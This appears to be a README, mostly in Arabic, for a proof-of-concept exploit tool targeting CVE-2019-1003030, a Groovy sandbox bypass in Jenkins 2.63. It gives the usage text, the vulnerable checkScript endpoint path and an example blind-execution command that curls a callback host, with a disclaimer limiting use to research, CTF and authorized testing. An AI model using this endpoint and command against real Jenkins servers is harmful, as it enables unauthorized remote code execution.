
PoC لـ jenkins 2.63 CVE-2019-1003030
يقوم هذا المشروع بأتمتة إنشاء وتوصيل حمولات Groovy إلى نقطة التحقق SecureGroovyScript المستخدمة في Jenkins 2.63. الأداة تدعم كلا من التنفيذ التفاعلي والتنفيذ الفردي. الاستغلال لا يعيد أي مخرجات، لذا ستحتاج إلى عمل بعض التحقق مثل curl إلى AP الخاص بك للتأكد من أنه يعمل.
الأداة تدعم كلاً من:
إخلاء مسؤولية
هذا المشروع مخصص فقط للبحث الأمني، مسابقات CTF، البيئات المخبرية، واختبار الاختراق المصرح به. لا تستخدمه ضد أنظمة دون إذن صريح.
usage: Poc.py -u http://10.10.10.10:8080/ [-c 'curl http://10.10.10.9/callback'] [-X POST] [-p /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript]
PoC for sandbox bypass for jenkins 2.63
options:
-h, --help show this help message and exit
-u, --url URL ip of target
-X, --method METHOD post or get
-b, --breadcrum BREADCRUM
optional jenkins crumb string
-c, --command COMMAND
command to run on jenkins, not output expected
-p, --path PATH path to the script, you might prepend more
احذف الخيار -c لدخول موجه تفاعلي. المثال أدناه — للأسف لا يوجد مخرجات، لذا طالما أنك لا تحصل على 404 فإنه يعمل.
